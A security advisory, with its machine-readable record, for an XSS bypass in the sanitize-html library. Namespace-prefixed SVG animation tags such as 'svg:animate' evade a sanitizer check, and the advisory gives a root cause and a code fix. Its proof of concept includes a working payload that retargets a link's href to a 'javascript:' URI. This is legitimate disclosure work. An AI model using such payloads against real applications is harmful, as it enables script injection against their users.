GHSA-374F-7CHJ-9948
Vulnerability from github – Published: 2026-10-20 18:21 – Updated: 2026-10-20 18:21Summary
sanitize-html 2.17.7 introduced animatesUrlAttribute() to block SVG animation elements (animate, animateColor, animateMotion, animateTransform, set) when their attributeName targets a URL sink like href. However, this check is bypassed when the animation element uses a namespace prefix (e.g., svg:animate instead of animate).
Root Cause
The animatesUrlAttribute function (index.js, line ~832) checks svgAnimationTags.indexOf(name.toLowerCase()), where svgAnimationTags contains bare local names: ["animate", "animatecolor", "animatemotion", "animatetransform", "set"]. htmlparser2 passes namespace-prefixed tag names verbatim, so svg:animate does not match animate in the array, causing the function to return false and skip the SMIL XSS protection.
Ironically, the function already handles namespace prefixes correctly for the attributeName target value (line ~843): const localName = target.slice(target.lastIndexOf(":") + 1) — but this same stripping was not applied to the tag name itself.
Proof of Concept
const sanitizeHtml = require("sanitize-html");
const config = {
allowedTags: false,
allowedAttributes: false,
allowedSchemes: ["http", "https"]
};
// Standard animate — BLOCKED by 2.17.7 fix
const blocked = sanitizeHtml(
`<svg><a href="#safe"><animate attributeName="href" values="#safe;javascript:alert(1)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
config
);
console.log("Standard animate:", blocked.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BLOCKED
// Namespace-prefixed animate — BYPASSES the fix
const bypassed = sanitizeHtml(
`<svg><a href="#safe"><svg:animate attributeName="href" values="#safe;javascript:alert(document.domain)" dur=".01s" fill="freeze"/><text>Click</text></a></svg>`,
config
);
console.log("svg:animate:", bypassed.includes("javascript:") ? "BYPASS" : "BLOCKED");
// Output: BYPASS
All 5 SMIL animation elements are bypassable with any namespace prefix (svg:, xlink:, xml:, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.
Impact
Cross-site scripting (XSS) via SMIL animation retargeting. When an application uses allowedTags: false (common in rich-text editors that want to preserve SVG), an attacker can inject <svg:animate attributeName="href" values="#safe;javascript:..." .../> to override the href attribute of a parent <a> element after the page loads, causing the link to execute JavaScript when clicked.
Suggested Fix
Strip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:
// Before (vulnerable):
if (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {
// After (fixed):
const localTagName = name.toLowerCase().slice(name.lastIndexOf(":") + 1);
if (svgAnimationTags.indexOf(localTagName) === -1) {
Affected Versions
sanitize-html >= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.
Credit
Kai Aizen (SnailSploit) — Adversarial AI & Security Research
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "sanitize-html"
},
"ranges": [
{
"events": [
{
"introduced": "2.17.7"
},
{
"fixed": "2.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-113657"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T18:21:19Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nsanitize-html 2.17.7 introduced `animatesUrlAttribute()` to block SVG animation elements (`animate`, `animateColor`, `animateMotion`, `animateTransform`, `set`) when their `attributeName` targets a URL sink like `href`. However, this check is bypassed when the animation element uses a namespace prefix (e.g., `svg:animate` instead of `animate`).\n\n## Root Cause\n\nThe `animatesUrlAttribute` function (index.js, line ~832) checks `svgAnimationTags.indexOf(name.toLowerCase())`, where `svgAnimationTags` contains bare local names: `[\"animate\", \"animatecolor\", \"animatemotion\", \"animatetransform\", \"set\"]`. htmlparser2 passes namespace-prefixed tag names verbatim, so `svg:animate` does not match `animate` in the array, causing the function to return `false` and skip the SMIL XSS protection.\n\nIronically, the function already handles namespace prefixes correctly for the `attributeName` target value (line ~843): `const localName = target.slice(target.lastIndexOf(\":\") + 1)` \u2014 but this same stripping was not applied to the tag name itself.\n\n## Proof of Concept\n\n```javascript\nconst sanitizeHtml = require(\"sanitize-html\");\n\nconst config = {\n allowedTags: false,\n allowedAttributes: false,\n allowedSchemes: [\"http\", \"https\"]\n};\n\n// Standard animate \u2014 BLOCKED by 2.17.7 fix\nconst blocked = sanitizeHtml(\n `\u003csvg\u003e\u003ca href=\"#safe\"\u003e\u003canimate attributeName=\"href\" values=\"#safe;javascript:alert(1)\" dur=\".01s\" fill=\"freeze\"/\u003e\u003ctext\u003eClick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e`,\n config\n);\nconsole.log(\"Standard animate:\", blocked.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BLOCKED\n\n// Namespace-prefixed animate \u2014 BYPASSES the fix\nconst bypassed = sanitizeHtml(\n `\u003csvg\u003e\u003ca href=\"#safe\"\u003e\u003csvg:animate attributeName=\"href\" values=\"#safe;javascript:alert(document.domain)\" dur=\".01s\" fill=\"freeze\"/\u003e\u003ctext\u003eClick\u003c/text\u003e\u003c/a\u003e\u003c/svg\u003e`,\n config\n);\nconsole.log(\"svg:animate:\", bypassed.includes(\"javascript:\") ? \"BYPASS\" : \"BLOCKED\");\n// Output: BYPASS\n```\n\nAll 5 SMIL animation elements are bypassable with any namespace prefix (`svg:`, `xlink:`, `xml:`, uppercase variants). Tested and confirmed on sanitize-html 2.17.7 from the apostrophe monorepo.\n\n## Impact\n\nCross-site scripting (XSS) via SMIL animation retargeting. When an application uses `allowedTags: false` (common in rich-text editors that want to preserve SVG), an attacker can inject `\u003csvg:animate attributeName=\"href\" values=\"#safe;javascript:...\" .../\u003e` to override the `href` attribute of a parent `\u003ca\u003e` element after the page loads, causing the link to execute JavaScript when clicked.\n\n## Suggested Fix\n\nStrip the namespace prefix from the tag name before the lookup, matching the pattern already used for the attribute name target:\n\n```javascript\n// Before (vulnerable):\nif (svgAnimationTags.indexOf(name.toLowerCase()) === -1) {\n\n// After (fixed):\nconst localTagName = name.toLowerCase().slice(name.lastIndexOf(\":\") + 1);\nif (svgAnimationTags.indexOf(localTagName) === -1) {\n```\n\n## Affected Versions\n\nsanitize-html \u003e= 2.17.7 (where the SMIL animation protection was introduced). Earlier versions lack the SMIL protection entirely.\n\n## Credit\n\nKai Aizen (SnailSploit) \u2014 Adversarial AI \u0026 Security Research",
"id": "GHSA-374f-7chj-9948",
"modified": "2026-10-20T18:21:19Z",
"published": "2026-10-20T18:21:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-374f-7chj-9948"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
},
{
"type": "PACKAGE",
"url": "https://github.com/apostrophecms/apostrophe"
},
{
"type": "WEB",
"url": "https://github.com/apostrophecms/apostrophe/releases/tag/sanitize-html@2.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "ApostropheCMS sanitize-html: SMIL animation namespace-prefix bypass allows javascript: URI injection (XSS)"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.